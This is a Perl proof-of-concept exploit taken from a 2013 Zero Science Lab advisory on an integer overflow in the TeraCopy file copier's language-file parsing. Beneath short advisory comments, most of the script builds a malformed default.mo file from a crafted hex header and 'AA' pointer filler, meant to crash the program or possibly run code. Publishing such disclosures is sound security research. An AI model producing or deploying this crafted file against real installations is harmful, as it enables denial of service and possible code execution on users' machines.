#!J:\Perl\bin\perl.exe### TeraCopy 2.3 (default.mo) Language File Integer Overflow Vulnerability### Vendor: Code Sector# Product web page: http://www.codesector.com# Affected version: 2.27 and 2.3 beta 2## Summary: TeraCopy is designed to copy and move files at the maximum# possible speed. It skips bad files during the copying process, and# then displays them at the end of the transfer so that you can see# which ones need attention. TeraCopy can automatically check the copied# files for errors by calculating their CRC checksum values. It also# provides a lot more information about the files being copied than its# Windows counterpart. TeraCopy integrates with Windows Explorer's# right-click menu and can be set as the default copy handler.## Desc: TeraCopy is prone to an integer overflow vulnerability because# it fails to perform adequate boundary checks when reading language files.# Successfully exploiting this issue may allow local attackers to execute# arbitrary code in the context of the application. Failed exploit attempts# will cause denial-of-service conditions.## Tested on: Microsoft Windows Server 2008 R2 EN (64-bit)#Microsoft Windows 7 Ultimate SP1 EN (32-bit)### Vulnerability discovered by Gjoko 'LiquidWorm' Krstic# @zeroscience### Advisory ID: ZSL-2013-5155# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5155.php### 13.09.2013#$file = "default.mo";
print "\n
...................................................
. .
.Code Sector TeraCopy 2.3 Integer Overflow PoC.
. .
. .
. ID: ZSL-2013-5155 .
. .
...................................................
\n";$patter = "\xDE\x12\x04\x95\x20\x20\x20\x20\xB5\x20\x20\x20\x1C\x20\x20\x20"."\xC4\x05\x20\x20\xF1\x20\x20\x20\x6C\x0B\x20\x20\x20\x20\x20\x20"."\x30\x0F\x20\x20\x1D\x20\x20\x20\x31\x0F\x20\x20\x1A\x20\x20\x20"."\x4F\x0F\x20\x20\x1C\x20\x20\x20\x6A\x0F\x20\x20\x12\x20\x20\x20"."\x87\x0F\x20\x20\x25\x20\x20\x20\x9A\x0F\x20\x20\x0F\x20\x20\x20"."\xC0\x0F\x20\x20\x08\x20\x20\x20\xD0\x0F\x20\x20\x03\x20\x20\x20"."\xD9\x0F\x20\x20\x15\x20\x20\x20\xDD\x0F\x20\x20\x1C\x20\x20\x20"."\xF3\x0F\x20\x20\x10\x20\x20\x20\x10\x10\x20\x20\x0F\x20\x20\x20"."\x21\x10\x20\x20\x46\x20\x20\x20\x31\x10\x20\x20\x03\x20\x20\x20"."\x78\x10\x20\x20\x09\x20\x20\x20\x7C\x10\x20\x20\x0A\x20\x20\x20"."\x86\x10\x20\x20\x0D\x20\x20\x20\x91\x10\x20\x20\x16\x20\x20\x20"."\x9F\x10\x20\x20\x2B\x20\x20\x20\xB6\x10\x20\x20\x06\x20\x20\x20"."\xE2\x10\x20\x20\x06\x20\x20\x20\xE9\x10\x20\x20\x09\x20\x20\x20"."\xF0\x10\x20\x20\x0D\x20\x20\x20\xFA\x10\x20\x20\x0F\x20\x20\x20"."\x08\x11\x20\x20\x06\x20\x20\x20\x18\x11\x20\x20\x11\x20\x20\x20"."\x1F\x11\x20\x20\x19\x20\x20\x20\x31\x11\x20\x20\x19\x20\x20\x20"."\x4B\x11\x20\x20\x10\x20\x20\x20\x65\x11\x20\x20\x08\x20\x20\x20"."\x76\x11\x20\x20\x30\x20\x20\x20\x7F\x11\x20\x20\x05\x20\x20\x20"."\xB0\x11\x20\x20\x26\x20\x20\x20\xB6\x11\x20\x20\x0C\x20\x20\x20"."\xDD\x11\x20\x20\x04\x20\x20\x20\xEA\x11\x20\x20\x07\x20\x20\x20"."\xEF\x11\x20\x20\x0D\x20\x20\x20\xF7\x11\x20\x20\x05\x20\x20\x20"."\x05\x12\x20\x20\x06\x20\x20\x20\x0B\x12\x20\x20\x18\x20\x20\x20"."\x12\x12\x20\x20\x11\x20\x20\x20\x2B\x12\x20\x20\x0C\x20\x20\x20"."\x3D\x12\x20\x20\x27\x20\x20\x20\x4A\x12\x20\x20\x10\x20\x20\x20"."\x72\x12\x20\x20\x0B\x20\x20\x20\x83\x12\x20\x20\x17\x20\x20\x20"."\x8F\x12\x20\x20\x17\x20\x20\x20\xA7\x12\x20\x20\x32\x20\x20\x20"."\xBF\x12\x20\x20\x13\x20\x20\x20\xF2\x12\x20\x20\x07\x20\x20\x20"."\x06\x13\x20\x20\x18\x20\x20\x20\x0E\x13\x20\x20\x1A\x20\x20\x20"."\x27\x13\x20\x20\x16\x20\x20\x20\x42\x13\x20\x20\x1C\x20\x20\x20"."\x59\x13\x20\x20\x04\x20\x20\x20\x76\x13\x20\x20\x0F\x20\x20\x20"."\x7B\x13\x20\x20\x25\x20\x20\x20\x8B\x13\x20\x20\x05\x20\x20\x20"."\xB1\x13\x20\x20\x0C\x20\x20\x20\xB7\x13\x20\x20\x09\x20\x20\x20"."\xC4\x13\x20\x20\x16\x20\x20\x20\xCE\x13\x20\x20\x05\x20\x20\x20"."\xE5\x13\x20\x20\x0E\x20\x20\x20\xEB\x13\x20\x20\x04\x20\x20\x20"."\xFA\x13\x20\x20\x07\x20\x20\x20\xFF\x13\x20\x20\x04\x20\x20\x20"."\x07\x14\x20\x20\x13\x20\x20\x20\x0C\x14\x20\x20\x09\x20\x20\x20"."\x20\x14\x20\x20\x19\x20\x20\x20\x2A\x14\x20\x20\x09\x20\x20\x20"."\x44\x14\x20\x20\x14\x20\x20\x20\x4E\x14\x20\x20\x0D\x20\x20\x20"."\x63\x14\x20\x20\x0F\x20\x20\x20\x71\x14\x20\x20\x15\x20\x20\x20"."\x81\x14\x20\x20\x09\x20\x20\x20\x97\x14\x20\x20\x13\x20\x20\x20"."\xA1\x14\x20\x20\x0F\x20\x20\x20\xB5\x14\x20\x20\x62\x20\x20\x20"."\xC5\x14\x20\x20\x06\x20\x20\x20\x28\x15\x20\x20\x09\x20\x20\x20"."\x2F\x15\x20\x20\x04\x20\x20\x20\x39\x15\x20\x20\x28\x20\x20\x20"."\x3E\x15\x20\x20\x04\x20\x20\x20\x67\x15\x20\x20\x08\x20\x20\x20"."\x6C\x15\x20\x20\x04\x20\x20\x20\x75\x15\x20\x20\x04\x20\x20\x20"."\x7A\x15\x20\x20\x04\x20\x20\x20\x7F\x15\x20\x20\x07\x20\x20\x20"."\x84\x15\x20\x20\x0D\x20\x20\x20\x8C\x15\x20\x20\x14\x20\x20\x20"."\x9A\x15\x20\x20\x05\x20\x20\x20\xAF\x15\x20\x20\x1F\x20\x20\x20"."\xB5\x15\x20\x20\x07\x20\x20\x20\xD5\x15\x20\x20\x07\x20\x20\x20"."\xDD\x15\x20\x20\x08\x20\x20\x20\xE5\x15\x20\x20\x21\x20\x20\x20"."\xEE\x15\x20\x20\x09\x20\x20\x20\x10\x16\x20\x20\x0A\x20\x20\x20"."\x1A\x16\x20\x20\x0B\x20\x20\x20\x25\x16\x20\x20\x1C\x20\x20\x20"."\x31\x16\x20\x20\x0A\x20\x20\x20\x4E\x16\x20\x20\x0B\x20\x20\x20"."\x59\x16\x20\x20\x11\x20\x20\x20\x65\x16\x20\x20\x0D\x20\x20\x20"."\x77\x16\x20\x20\x09\x20\x20\x20\x85\x16\x20\x20\x0D\x20\x20\x20"."\x8F\x16\x20\x20\x0F\x20\x20\x20\x9D\x16\x20\x20\x0E\x20\x20\x20"."\xAD\x16\x20\x20\x05\x20\x20\x20\xBC\x16\x20\x20\x06\x20\x20\x20"."\xC2\x16\x20\x20\x25\x20\x20\x20\xC9\x16\x20\x20\x18\x20\x20\x20"."\xEF\x16\x20\x20\x0B\x20\x20\x20\x08\x17\x20\x20\x0E\x20\x20\x20"."\x14\x17\x20\x20\x13\x20\x20\x20\x23\x17\x20\x20\x0A\x20\x20\x20"."\x37\x17\x20\x20\x3C\x20\x20\x20\x42\x17\x20\x20\x15\x20\x20\x20"."\x7F\x17\x20\x20\x06\x20\x20\x20\x95\x17\x20\x20\x06\x20\x20\x20"."\x9C\x17\x20\x20\x0A\x20\x20\x20\xA3\x17\x20\x20\x14\x20\x20\x20"."\xAE\x17\x20\x20\x07\x20\x20\x20\xC3\x17\x20\x20\x06\x20\x20\x20";$invptr = "\x41\x41" x 707;################################################;
open fp,">./$file"|| die "\n[-] Can't open $file: $!\n\n";
print fp $patter.$invptr; close fp;
print "\n\n\x20\x20\x1A\x20File \"$file\" created successfully!\x20";$file = -s $file; print "($file bytes)\n\n";